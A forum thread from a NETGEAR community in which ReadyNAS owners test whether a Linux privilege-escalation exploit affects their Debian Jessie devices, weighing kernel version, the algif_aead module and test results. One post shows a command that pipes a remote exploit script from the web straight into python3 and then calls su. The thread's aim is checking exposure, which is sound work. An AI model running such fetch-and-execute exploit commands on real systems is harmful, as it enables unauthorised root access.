NETGEAR is aware of a growing number of phone and online scams. To learn how to stay safe click here.
Forum Discussion
Dewdman42
May 01, 2026Virtuoso
New Linux Exploit back to 2017
Does this effect the version of Jessie we are using in Readynas?
https://www.msn.com/en-us/technology/software/linux-exploit-instantly-grants-administrator-access-on-most-distributions-since-2017/ar-AA22a9L6
5 Replies
- StephenBGuru - Experienced User
Dewdman42 wrote:
Does this effect the version of Jessie we are using in Readynas?
The test in the article gives this result:
admin@NAS:/data/Test$ curl https://copy.fail/exp | python3 && su
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 731 0 731 0 0 5801 0 --:--:-- --:--:-- --:--:-- 5801
Traceback (most recent call last):
File "<stdin>", line 9, in <module>
File "<stdin>", line 5, in c
OSError: getsockaddrarg: bad family
admin@NAS:/data/Test$ id
uid=98(admin) gid=98(admin) groups=98(admin),27(sudo),42(shadow)
So it appears not. FWIW Jessie is older than 2017.
I did have to make create a soft link for su in order to run this test (as the NAS puts in /bin, and the python script expects it in /usr/bin). And of course install python3. (version 3.4.2)
It's possible that the test requires a newer version of python3 though.
- Dewdman42Virtuoso
the 8.1 update of Jessie came in 2018...so its borderline case...just checking...
anyway I will have a look at that test you tried....I didn't see that...
- Dewdman42Virtuoso
Yea I get the same error as you when I try to run that test script...which doesn't really prove anything...it means if anything that either python 3.4.2 is too old or something else is missing from our readynas installation that would allow that test python script to execute completely.
So no I don't think we've proven we are immune..unless our Jessie is older than 8.1. I get the following:
PRETTY_NAME="ReadyNASOS 6.10.9" NAME="Debian GNU/Linux" VERSION_ID="8" VERSION="8 (jessie)" ID=debian HOME_URL="http://www.debian.org/" SUPPORT_URL="http://www.debian.org/support" BUG_REPORT_URL="https://bugs.debian.org/"Is that prior to 8.1? I still don't have complete confidence, but looks probably like yes and hopefully Readynas core os was not updated when jessie 8.1 came out in 2018.
Might be possible to figure out how to re-write that python test script to avoid the getsockaddrarg incompatibility...hard to say.. would be nice to definitely test our OS to make sure its not vulnerable. What I read is that the exploit can be coded in many other languages, not just python...that just happens to be an easy way people are testing for it.. if we can find some C code for testing it, we might be able to build that and run it.
- StephenBGuru - Experienced User
Dewdman42 wrote:
Yea I get the same error as you when I try to run that test script...which doesn't really prove anything...it means if anything that either python 3.4.2 is too old or something else is missing from our readynas installation that would allow that test python script to execute completely.
Some more data that suggest Jessie is not vulnerable...
(a) Microsoft WSL (windows subsystem for linux) is vulnerable. Running the script on WSL did elevate my privileges to root.
After I blacklisted algif_aead in WSL, the script failed the same way it does on the ReadyNAS
File "<stdin>", line 9, in <module>
File "<stdin>", line 5, in c
Which makes it clear that the old python3 is not a factor.
(b) the affected module (algif_aead) does not appear in modinfo on the ReadyNAS
root@NAS://# modinfo algif_aead
modinfo: ERROR: Module algif_aead not found.
(c) the kernel version on the ReadyNAS is older than the affected versions listed in the CVE
/lib/modules/4.4.218.x86_64.1/kernel/crypto# uname --kernel-release
4.4.218.x86_64.1
4.4 was released in 2016. The earliest affected version in the CVE documentation is 4.14 (2017).
That said, people shouldn't be allowing inbound internet access to their ReadyNAS. Even though it appears that the ReadyNAS is not vulnerable to this particular exploit.
- Dewdman42Virtuoso
found this compiled go implmentation of a test...
https://github.com/badsectorlabs/copyfail-go
When I run it I still get just an error message which is not conclusive to me yet...but I might be doing it wrong and might be related to having to use a soft link for /bin/su
Related Content
- Aug 22, 2020Anonymous
NETGEAR Academy
Boost your skills with the Netgear Academy - Get trained, certified and stay ahead with the latest Netgear technology!
Join Us!